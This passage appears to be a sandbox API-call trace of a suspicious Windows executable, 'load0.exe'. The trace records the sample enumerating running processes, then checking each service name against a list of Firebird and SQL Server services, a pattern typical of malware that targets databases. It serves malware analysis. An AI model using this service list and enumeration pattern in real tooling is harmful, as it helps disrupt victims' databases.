Process32NextW (in: hSnapshot=0x1240, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0248.222] lstrlenW (lpString="wininit.exe") returned 11 [0248.223] Process32NextW (in: hSnapshot=0x1240, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0248.223] lstrlenW (lpString="csrss.exe") returned 9 [0248.223] Process32NextW (in: hSnapshot=0x1240, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0248.224] lstrlenW (lpString="winlogon.exe") returned 12 [0248.224] Process32NextW (in: hSnapshot=0x1240, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0248.225] lstrlenW (lpString="services.exe") returned 12 [0248.225] Process32NextW (in: hSnapshot=0x1240, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0248.226] lstrlenW (lpString="lsass.exe") returned 9 [0248.226] Process32NextW (in: hSnapshot=0x1240, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0248.227] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0248.227] Process32NextW (in: hSnapshot=0x1240, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0248.228] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0248.228] Process32NextW (in: hSnapshot=0x1240, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.229] lstrlenW (lpString="svchost.exe") returned 11 [0248.229] Process32NextW (in: hSnapshot=0x1240, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.230] lstrlenW (lpString="svchost.exe") returned 11 [0248.230] Process32NextW (in: hSnapshot=0x1240, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0248.231] lstrlenW (lpString="dwm.exe") returned 7 [0248.231] Process32NextW (in: hSnapshot=0x1240, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.232] lstrlenW (lpString="svchost.exe") returned 11 [0248.232] Process32NextW (in: hSnapshot=0x1240, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.233] lstrlenW (lpString="svchost.exe") returned 11 [0248.233] Process32NextW (in: hSnapshot=0x1240, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.234] lstrlenW (lpString="svchost.exe") returned 11 [0248.234] Process32NextW (in: hSnapshot=0x1240, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.237] lstrlenW (lpString="svchost.exe") returned 11 [0248.237] Process32NextW (in: hSnapshot=0x1240, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.238] lstrlenW (lpString="svchost.exe") returned 11 [0248.238] Process32NextW (in: hSnapshot=0x1240, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.239] lstrlenW (lpString="svchost.exe") returned 11 [0248.239] Process32NextW (in: hSnapshot=0x1240, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.240] lstrlenW (lpString="svchost.exe") returned 11 [0248.240] Process32NextW (in: hSnapshot=0x1240, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.241] lstrlenW (lpString="svchost.exe") returned 11 [0248.241] Process32NextW (in: hSnapshot=0x1240, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.242] lstrlenW (lpString="svchost.exe") returned 11 [0248.242] Process32NextW (in: hSnapshot=0x1240, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.243] lstrlenW (lpString="svchost.exe") returned 11 [0248.243] Process32NextW (in: hSnapshot=0x1240, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0248.244] lstrlenW (lpString="spoolsv.exe") returned 11 [0248.244] Process32NextW (in: hSnapshot=0x1240, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.245] lstrlenW (lpString="svchost.exe") returned 11 [0248.245] Process32NextW (in: hSnapshot=0x1240, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0248.246] lstrlenW (lpString="audiodg.exe") returned 11 [0248.246] Process32NextW (in: hSnapshot=0x1240, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0248.247] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0248.247] Process32NextW (in: hSnapshot=0x1240, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0248.248] lstrlenW (lpString="Memory Compression") returned 18 [0248.248] Process32NextW (in: hSnapshot=0x1240, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0248.296] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0248.296] Process32NextW (in: hSnapshot=0x1240, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0248.338] lstrlenW (lpString="taskhostw.exe") returned 13 [0248.338] Process32NextW (in: hSnapshot=0x1240, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0248.340] lstrlenW (lpString="sihost.exe") returned 10 [0248.340] Process32NextW (in: hSnapshot=0x1240, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.341] lstrlenW (lpString="svchost.exe") returned 11 [0248.341] Process32NextW (in: hSnapshot=0x1240, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0248.342] lstrlenW (lpString="taskhostw.exe") returned 13 [0248.344] Process32NextW (in: hSnapshot=0x1240, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0248.345] lstrlenW (lpString="msoia.exe") returned 9 [0248.345] Process32NextW (in: hSnapshot=0x1240, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0248.346] lstrlenW (lpString="explorer.exe") returned 12 [0248.346] Process32NextW (in: hSnapshot=0x1240, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0248.347] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0248.347] Process32NextW (in: hSnapshot=0x1240, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0248.348] lstrlenW (lpString="SearchUI.exe") returned 12 [0248.348] Process32NextW (in: hSnapshot=0x1240, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0248.349] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0248.349] Process32NextW (in: hSnapshot=0x1240, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0248.350] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0248.350] Process32NextW (in: hSnapshot=0x1240, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0248.352] lstrlenW (lpString="load0.exe") returned 9 [0248.352] Process32NextW (in: hSnapshot=0x1240, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0248.353] lstrlenW (lpString="cmd.exe") returned 7 [0248.353] Process32NextW (in: hSnapshot=0x1240, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2698, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0248.354] lstrlenW (lpString="conhost.exe") returned 11 [0248.355] Process32NextW (in: hSnapshot=0x1240, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2698, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0248.356] CloseHandle (hObject=0x1240) returned 1 [0248.356] Sleep (dwMilliseconds=0x1f4) [0248.917] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3f647f8 [0248.918] EnumServicesStatusExW (in: hSCManager=0x3f647f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 0 [0248.918] GetLastError () returned 0xea [0248.918] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c30) returned 0x3fb3af0 [0248.919] EnumServicesStatusExW (in: hSCManager=0x3f647f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3fb3af0, cbBufSize=0x1c30, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3fb3af0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 1 [0248.920] CloseServiceHandle (hSCObject=0x3f647f8) returned 1 [0248.920] lstrlenW (lpString="Appinfo") returned 7 [0248.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0248.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0248.920] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0248.920] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0248.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0248.920] lstrlenW (lpString="AppXSvc") returned 7 [0248.921] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0248.921] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0248.921] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0248.921] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0248.922] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0248.922] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0248.922] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0248.922] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0248.922] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0248.922] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0248.922] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0248.922] lstrlenW (lpString="Audiosrv") returned 8 [0248.922] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0248.922] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0248.922] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0248.922] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0248.922] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0248.922] lstrlenW (lpString="BFE") returned 3 [0248.923] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0248.923] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0248.923] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0248.923] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0248.923] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0248.923] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0248.923] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0248.923] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0248.923] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0248.923] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0248.923] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0248.923] lstrlenW (lpString="CDPSvc") returned 6 [0248.923] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0248.923] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0248.923] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0248.923] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0248.923] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0248.923] lstrlenW (lpString="ClickToRunSvc") returned 13 [0248.923] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0248.923] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0248.923] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0248.923] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0248.923] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0248.923] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0248.923] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0248.923] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0248.923] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0248.923] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0248.923] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0248.924] lstrlenW (lpString="CryptSvc") returned 8 [0248.924] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0248.924] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0248.924] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0248.924] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0248.924] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0248.924] lstrlenW (lpString="DcomLaunch") returned 10 [0248.924] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0248.924] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0248.924] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0248.924] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0248.924] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0248.924] lstrlenW (lpString="DeviceAssociationService") returned 24 [0248.924] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0248.924] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0248.924] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0248.924] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0248.924] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0248.924] lstrlenW (lpString="Dhcp") returned 4 [0248.924] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0248.924] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0248.924] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0248.924] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0248.924] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0248.924] lstrlenW (lpString="Dnscache") returned 8 [0248.924] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0248.924] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0248.924] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0248.924] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0248.925] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0248.925] lstrlenW (lpString="DPS") returned 3 [0248.925] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0248.925] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0248.925] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0248.925] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0248.925] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0248.925] lstrlenW (lpString="DusmSvc") returned 7 [0248.925] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0248.925] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0248.925] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0248.925] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0248.925] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0248.925] lstrlenW (lpString="EventLog") returned 8 [0248.925] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0248.925] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0248.925] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0248.925] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0248.925] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0248.925] lstrlenW (lpString="EventSystem") returned 11 [0248.925] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0248.925] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0248.925] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0248.925] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0248.925] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0248.925] lstrlenW (lpString="FontCache") returned 9 [0248.925] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0248.925] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0248.925] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0248.925] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0248.925] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0248.926] lstrlenW (lpString="gpsvc") returned 5 [0248.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0248.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0248.926] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0248.926] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0248.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0248.926] lstrlenW (lpString="iphlpsvc") returned 8 [0248.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0248.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0248.926] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0248.926] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0248.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0248.926] lstrlenW (lpString="KeyIso") returned 6 [0248.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0248.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0248.926] lstrcmpiW (lpString1="sqlwriter", 